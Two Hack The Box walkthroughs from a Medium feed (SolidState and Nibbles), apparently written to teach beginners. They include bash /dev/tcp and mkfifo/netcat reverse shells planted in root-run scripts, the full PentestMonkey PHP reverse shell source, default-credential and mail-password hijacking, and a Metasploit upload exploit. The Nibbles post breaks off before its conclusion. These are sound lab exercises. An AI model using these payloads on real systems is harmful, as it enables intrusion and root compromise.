Stories by Techie-stronaut on Medium

Hack The Box: SolidState Walkthrough

Techie-stronaut — Sun, 28 Dec 2025 11:09:07 GMT

Introduction

SolidState is a fantastic machine for beginners because it punishes lazy scanning and rewards manual enumeration. It forces you to move away from “push-button” hacking and actually understand how protocols like POP3 and SMTP work.

In this guide, we aren’t just going to root the box; we are going to break down why we use specific flags, how we escape restricted shells, and the anatomy of a reverse shell payload.

Phase 1: Reconnaissance (Nmap)

We always start with a map of the territory. We run Nmap with sudo to enable SYN scanning (stealthier and faster).

sudo nmap -T4 -A -p- 10.129.7.12

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-26 20:10 CST
Stats: 0:03:21 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:03:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)
Stats: 0:04:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)
Stats: 0:04:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)
Stats: 0:04:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)
Nmap scan report for 10.129.7.12
Host is up (0.0019s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
110/tcp  open  pop3?
119/tcp  open  nntp?
4555/tcp open  rsip?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/26%OT=22%CT=1%CU=44479%PV=Y%DS=2%DC=T%G=Y%TM=694
OS:F416C%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8
OS:)OPS(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M55
OS:2ST11NW7%O6=M552ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120
OS:)ECN(R=Y%DF=Y%T=40%W=7210%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT     ADDRESS
1   2.29 ms 10.10.14.1
2   2.38 ms 10.129.7.12

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 357.38 seconds

Why these flags?

-p-: This is critical. It scans all 65,535 ports. Beginners often skip this and only scan the top 1,000. On this machine, the vulnerability hides on a high port (4555). If you don't scan all ports, you fail immediately.

-A: This is a “combo flag” that turns on four advanced features at once

OS Detection (-O): Tries to guess if the target is Linux, Windows, etc.
Version Detection (-sV): Probes open ports to find out what specific software is running (e.g., instead of just "Web", it says "Apache 2.4.41").
Script Scanning (-sC): Runs Nmap's default scripting engine (NSE) to find common vulnerabilities or extra info.
-sV: Version detection (tells us exactly what software is running).

T4 : Sets the speed of the scan to “Aggresive.”

The Output

The scan reveals the usual suspects: Port 22 (SSH) and Port 80 (Web). But look at this cluster:

Port 25 (SMTP): Sending mail.
Port 110 (POP3): Receiving mail.
Port 119 (NNTP): News protocol.

When you see Ports 25 and 110 open together, you are looking at a Mail Server.

The Mystery Port: 4555

Nmap identifies port 4555 as rsip?. The question mark means Nmap is guessing based on a lookup table. Never trust Nmap blindly. We need to verify this manually later.

Phase 2: Web Enumeration (The Rabbit Hole)

Naturally, we check Port 80 first. We find a site for “Solid State Security.”

We run Gobuster to look for hidden directories:

gobuster dir -u http://10.129.7.12 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html,txt,bak,md -t 50 -o gobuster.txt


===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 291]
/index.html           (Status: 200) [Size: 7776]
/images               (Status: 301) [Size: 311] [--> http://10.129.7.12/images/]
/about.html           (Status: 200) [Size: 7183]
/services.html        (Status: 200) [Size: 8404]
/assets               (Status: 301) [Size: 311] [--> http://10.129.7.12/assets/]
/README.txt           (Status: 200) [Size: 963]
/LICENSE.txt          (Status: 200) [Size: 17128]
/.html                (Status: 403) [Size: 291]
Progress: 525984 / 525990 (100.00%)
===============================================================
Finished

README.txt


Solid State by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)


After a somewhat extended break from HTML5 UP (to work on a secret-ish new project --
more on that later!) I'm back with a brand new design: , a slick new multi-
pager that combines some of the ideas I've played with over at Pixelarity with an "angular"
sort of look. Hope you dig it :)

Demo images* courtesy of Unsplash, a radtastic collection of CC0 (public domain) images
you can use for pretty much whatever.

(* = not included)

AJ
aj@lkn.io | @ajlkn


Credits:

        Demo Images:
                Unsplash (unsplash.com)

        Icons:
                Font Awesome (fortawesome.github.com/Font-Awesome)

        Other:
                jQuery (jquery.com)
                html5shiv.js (@afarkas @jdalton @jon_neal @rem)
                background-size polyfill (github.com/louisremi)
                Misc. Sass functions (@HugoGiraudel)
                Respond.js (j.mp/respondjs)
                Skel (skel.io)┌─[yeachan☺htb-zk6gknjt8l]─[~]
└──╼ $

We find README.txt and LICENSE.txt, confirming the site uses a generic HTML5 template. However, the site is purely static. There is no login form, no database, and no CMS (like WordPress).

The Lesson: Don’t force a vulnerability where there isn’t one. If the web door is locked, check the side windows. We pivot back to the mail ports.

Phase 3: Service Enumeration (Banner Grabbing)

Since Nmap was unsure about Port 4555, we use Netcat to talk to the port directly. This is called Banner Grabbing.

nc -nv 10.129.7.12 4555

The Response:

JAMES Remote Administration Tool 2.3.2
Please enter your login and password

Bingo. It’s not RSIP; it is the Apache James 2.3.2 Remote Admin Tool. A quick Google search for this version reveals a critical flaw: the default credentials are often left unchanged.

https://github.com/greycr0w/apache-james-server-2.3.2-rce-go

We try the defaults:

User: root
Pass: root

We are in. We have administrative control over the mail server application.

Phase 4: Initial Access (Hijacking Email)

Once logged into the James Admin console, we run listusers. We see a user named mindy.

We want to read Mindy’s email to see if she has sent any sensitive data (like passwords). However, we don’t know her email password.

The “God Mode” Concept

Because we are root on the mail server application, we don't need to crack her password. We can just reset it.

setpassword mindy password123

Crucial Note: We just changed her Email password. We did not change her SSH (Linux) password. These are two separate systems. We are hijacking her inbox to find secrets.

Retrieving the Mail (POP3)

Now we log into her inbox using POP3 on Port 110.

⚠️ Technical Trap: POP3 requires lines to end with CRLF (Carriage Return + Line Feed). Standard Netcat doesn't do this. You must use the -C flag.

nc -C -v 10.129.7.12 110
USER mindy
PASS password123
LIST

We see two emails. We use RETR 2 to read the second one.

LIST
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
+OK
+OK Welcome mindy
+OK 2 1945
1 1109
2 836
.
RETR 1 
+OK Message follows
Return-Path: 
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for ;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: 
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for ;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: 

Respectfully,
James

We have intercepted a plain-text password sent by an admin. We can now log into the server via SSH.

Phase 5: Escaping the Restricted Shell (Rbash)

We SSH in as Mindy:

ssh mindy@10.129.7.12

We are in However, if we try to use cd or sudo, we get command not found. We are in a Restricted Bash shell — a “padded cell” for users.

The Escape

The restriction is usually loaded by a startup script (like .bash_profile) when you log in. We can tell SSH to ignore that script.

ssh mindy@10.129.7.12 -t "bash --noprofile"

-t: Forces a pseudo-terminal allocation (gives us an interactive screen).
"bash --noprofile": Runs Bash immediately but skips the initialization files that contain the restrictions.

We are now in a fully functional shell.

Phase 6: Privilege Escalation (Cron Jobs)

We are mindy, but we want to be root. We need to see what processes Root is running in the background. Standard tools like ps only show a snapshot in time. We need to monitor processes over time.

For this, we use pspy.

Architecture Check

Before downloading tools, check the architecture:

uname -m
# Output: i686

i686 means 32-bit. If we download standard 64-bit tools, they will crash. We download pspy32, transfer it via wget, and run it.

# Attacker Machine

# Download the 32-bit version
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32

# Check the file type (It should say "ELF 32-bit")
file pspy32


# Victim Machine

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ wget http://10.10.14.60:9001/pspy32
--2025-12-28 04:43:15--  http://10.10.14.60:9001/pspy32
Connecting to 10.10.14.60:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2940928 (2.8M) [application/octet-stream]
Saving to: ‘pspy32’

pspy32              100%[===================>]   2.80M  --.-KB/s    in 0.1s    

2025-12-28 04:43:15 (20.7 MB/s) - ‘pspy32’ saved [2940928/2940928]

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ chmod +x pspy32
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./pspy32

The Vulnerability

After watching pspy for a few minutes, we see a pattern repeating every 3 minutes:

2025/12/28 04:45:01 CMD: UID=0     PID=7142   | /bin/sh -c python /opt/tmp.py 
2025/12/28 04:45:01 CMD: UID=0     PID=7143   | sh -c bash -c "bash -i >& /dev/tcp/10.10.14.60/4444 0>&1" 
2025/12/28 04:45:01 CMD: UID=0     PID=7144   | bash -c bash -i >& /dev/tcp/10.10.14.60/4444 0>&1 
...
2025/12/28 04:48:01 CMD: UID=0     PID=7207   | /bin/sh -c python /opt/tmp.py 
2025/12/28 04:48:02 CMD: UID=0     PID=7208   | sh -c bash -c "bash -i >& /dev/tcp/10.10.14.60/4444 0>&1"

Root (UID=0) is executing a python script located at /opt/tmp.py.

We check the permissions on that file:

ls -l /opt/tmp.py
# Output: -rwxrwxrwx

The Flaw: The file is “World Writable” (777). Anyone can edit it. Root is blindly executing a script that we control.

Phase 7: The Exploit (Anatomy of a Reverse Shell)

We need to overwrite /opt/tmp.py with code that connects back to us. We will use a Python one-liner wrapped in an echo command.

echo "import os; os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.60/4444 0>&1\"')" > /opt/tmp.py

This command looks scary. Let’s peel it apart like an onion.

The Delivery (echo ... > file): We use echo to write our malicious code, and > to overwrite the existing file.
The Wrapper (import os...): The system runs this file as Python. We use os.system() to tell Python to execute a system (terminal) command.
The Runner (bash -c): We tell Linux to start a new instance of Bash to run our payload.
The Payload (bash -i >& /dev/tcp/...):
/dev/tcp/IP/PORT: In Linux, everything is a file. Bash treats this path as a network connection (a phone call) to our IP.
>&: Reroutes Output (what you see) down the network wire to us.
0>&1: Reroutes Input (what you type) to the Output. Since Output goes to the network, Input now comes from the network.
bash -i: Interactive mode. Keeps the shell open.

Victory

We start a listener on our machine: nc -lvnp 4444.
We verify the file is overwritten.
We wait for the Cron job (up to 3 minutes).

Suddenly, our listener lights up:

connect to [10.10.14.60] from (UNKNOWN) [10.129.7.12]
root@solidstate:~#

We check id. UID=0. We have total control of the system.

Summary of Lessons

Scan All Ports: We would have missed the James Admin port (4555) without -p-.
Verify Services: Nmap guessed rsip?; Netcat proved it was James Admin.
Context Matters: Changing a password in the Mail App allows us to read email; it does not give us SSH access directly.
Restricted Shells: -t "bash --noprofile" is a powerful SSH trick.
Check Architecture: Always run uname -m before uploading binaries (32-bit vs 64-bit).
Permissions: A file run by Root should never be writable by the world.

Happy Hacking!

From Web Enum to Root: A Step-by-Step Guide to Hacking the Nibbles Box

Techie-stronaut — Sun, 09 Nov 2025 03:59:09 GMT

A comprehensive walkthrough of the popular Hack The Box machine, covering manual exploitation, privilege escalation, and the Metasploit alternative.

Introduction

The “Nibbles” machine on Hack The Box is a fantastic starting point for anyone looking to get into penetration testing. It perfectly illustrates how a chain of seemingly small misconfigurations — from information disclosure on a web server to an insecure sudo rule — can lead to a full system compromise.

In this guide, we will walk through the entire process, from initial reconnaissance to gaining root access. We’ll cover both a detailed manual approach and a faster, automated method using the Metasploit Framework.

Machine IP: 10.129.28.67 (replace with your target IP)

Phase 1: Kicking the Tires with Reconnaissance

Every engagement begins with thorough enumeration. We need to build a map of the target to understand its attack surface.

Initial Port Scanning with Nmap

Our first step is a comprehensive Nmap scan to identify open ports and running services. We’ll use the -sC flag for default scripts, -sV to enumerate service versions, and -oA to save the output in all formats.

codeBash

nmap -sC -sV -oA basic_scan 10.129.28.67

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)

The scan reveals two open ports: SSH on port 22 and an Apache web server on port 80. The web server is our most likely entry point.

Digging into the Web Server

Navigating to the IP in a browser presents a simple “Hello world!” page. However, a quick look at the page’s source code reveals a developer comment:

# Source code of the homepage

Hello world!

This is our first clue — a classic case of information disclosure. Following this path leads us to a full-blown blog application.

Uncovering Hidden Directories with Gobuster

With a target application identified, we can use Gobuster to brute-force directories and files, looking for hidden administrative panels or sensitive files.

gobuster dir -u http://10.129.28.67/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 302]
/.htpasswd            (Status: 403) [Size: 307]
/.htaccess            (Status: 403) [Size: 307]
/README               (Status: 200) [Size: 4628]
/admin                (Status: 301) [Size: 323] [--> http://10.129.28.67/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 301) [Size: 325] [--> http://10.129.28.67/nibbleblog/content/]
/index.php            (Status: 200) [Size: 2987]
/languages            (Status: 301) [Size: 327] [--> http://10.129.28.67/nibbleblog/languages/]
/plugins              (Status: 301) [Size: 325] [--> http://10.129.28.67/nibbleblog/plugins/]
/themes               (Status: 301) [Size: 324] [--> http://10.129.28.67/nibbleblog/themes/]
Progress: 4723 / 4724 (99.98%)

The scan quickly uncovers several key locations:

/admin.php (A login page)

admin.php

/content/ (A browsable directory)
/README (Contains application information)

The README file is a goldmine, explicitly stating the application is Nibbleblog version 4.0.3. This version number is crucial for finding known public exploits.

====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com

===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog

===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory â€œcontentâ€ writable by Apache/PHP

Optionals requirements

* PHP module - Mcrypt

===== Installation guide =====
1- Download the last version from http://nibbleblog.com
2- Unzip the downloaded file
3- Upload all files to your hosting or local server via FTP, Shell, Cpanel, others.
4- With your browser, go to the URL of your web. Example: www.domain-name.com
5- Complete the form
6- Done! you have installed Nibbleblog

===== About the author =====
Name: Diego Najar
E-mail: dignajar@gmail.com
Linkedin: http://www.linkedin.com/in/dignajar

===== Example Post =====
...

Phase 2: From Information Leak to User Shell

Our enumeration has given us everything we need to formulate an attack plan.

Exploiting Information Disclosure

The browsable /content/ directory contains a /private/ subdirectory. Exposing private application files like this is a critical vulnerability. Inside, we find users.xml and config.xml.

users.xml confirms the existence of an admin account but contains no password hash, meaning we must guess the password via the login form.

# /content/private/users.xml
# Can check the presence of admin account.
# If one failure, can cause blacklisted.



0
0
1514544131


1512964659
1

config.xml provides the site name: Nibbles.

# /content/private/config.xml


Nibbles
Yum yum
Powered by Nibbleblog

0
http://10.129.28.67/nibbleblog/
/nibbleblog/
4
6
en_US
UTC
%d %B, %Y
en_US
1
1000
600
100
auto
1
190
190
100
landscape
simpler
1
0
0
admin@nibbles.com
noreply@10.10.10.134
Nibbles - Yum yum






0
0

Based on this, the most logical guess for the credentials is admin:nibbles. Testing this on the /admin.php login page grants us access.

Successfully login

Weaponizing the File Upload

With admin access, we explore the dashboard and find a plugin named “My image” that includes a file upload feature. This is a potential Remote Code Execution (RCE) vector.

Our plan is to upload a PHP reverse shell.

Prepare the Shell: Download a standard PHP reverse shell (e.g., from PentestMonkey) and edit the $ip and $port variables to point to your attacker machine.

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub

// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.2';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }

 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }

 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }

 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }

 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}

?>

Start a Listener: On your machine, start a Netcat listener to catch the incoming connection.

nc -lvnp 4444

Upload and Trigger: Upload the malicious PHP file through the “My image” plugin. The application saves it as image.php. To trigger the shell, simply navigate to its location in the browser: http://10.129.28.67/nibbleblog/content/private/plugins/my_image/image.php.

This gives us a reverse shell as the nibbler user.

Pro-Tip: Stabilize Your Shell
Initial shells are often basic. Upgrade to a fully interactive TTY for a better experience using this Python one-liner:
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

From here, we can capture the user flag at /home/nibbler/user.txt.

$ cd /home/nibbler
$ ls
personal.zip
user.txt
$ cat user.txt

$ unzip personal.zip

Phase 3: The Path to Root

With user access, our final goal is to become root.

Enumerating for Weaknesses with LinEnum

While manual enumeration is possible, automated scripts like LinEnum.sh are far more efficient at finding privilege escalation vectors.

Transfer the Script: Host LinEnum.sh on a simple Python web server on your attacker machine.

# Attacher Machine
git clone https://github.com/rebootuser/LinEnum.git
chmod 600 LinEnum.sh

# 1. Start a Python HTTP server on the local machine
sudo python3 -m http.server 8080

2. Download and Execute: From the victim’s shell, download and run the script.

wget http://:8080/LinEnum/LinEnum.sh
chmod +x LinEnum.sh 
./LinEnum.sh

The script’s output highlights a critical sudo misconfiguration

#LinEnum.sh part of this, we can use monitor.sh
[-] Super user account(s):
root


[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh


[+] Possible sudo pwnage!
/home/nibbler/personal/stuff/monitor.sh

Abusing Sudo Misconfiguration

This sudoers rule is our ticket to root. It states that the nibbler user can execute the /home/nibbler/personal/stuff/monitor.sh script as root without a password. Since this script resides in our home directory, we have full permission to edit it.

The attack is simple:

Append a Payload: Add a reverse shell command to the end of the monitor.sh script. This is stealthier than replacing the file.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [Your-Attacker-IP] 5555 >/tmp/f' >> /home/nibbler/personal/stuff/monitor.sh

2. Start a New Listener: Open another terminal and start a listener on the new port.

nc -lvnp 5555

3. Execute as Root: Run the script using the exact command specified in the sudoers rule.

sudo /home/nibbler/personal/stuff/monitor.sh

This executes our appended command as root, providing a root shell on our listener. We can now read the final flag at /root/root.txt.

┌─[sg-dedivip-1]─[10.10.14.2]─[yeachan@htb-4rxvoho0cp]─[~/LinEnum]
└──╼ [★]$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.28.67] 35740
root@Nibbles:/home/nibbler/personal/stuff# cd /root
cd /root
root@Nibbles:~# ls
ls
root.txt
root@Nibbles:~# cat root.txt
cat root.txt

The Express Lane: Pwning Nibbles with Metasploit

For a faster, automated approach, the Metasploit Framework has a dedicated module for this exact vulnerability, ‘Nibbleblog 4.0.3’

Search for the Exploit:

msfconsole -q
[msf](Jobs:0 Agents:0) >> search nibbleblog

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

2. Configure the Options: Set the target information and the credentials we discovered manually further.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set rhosts f](Jobs:0 Agents:0) exprhosts => 
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set rhosts 10.129.107.109
rhosts => 10.129.107.109
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set lhost 10.10.14.67
lhost => 10.10.14.67
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> show options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
                                         . Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS     10.129.107.109   yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                         ng-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.67      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

set usernamd admin
set password nibbles
set targeturi nibbleblog

3. We also need to change the payload type. For our purposes let’s go with generic/shell_reverse_tcp. We put these options and then type exploit and receive a reverse shell.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
show options
exploit

Metasploit automates the entire process, dropping you directly into a shell as the nibbler user. From there, the privilege escalation path remains the same.

Conclusion: Lessons Learned from Nibbles

Nibbles is an excellent machine that reinforces several core security principles:
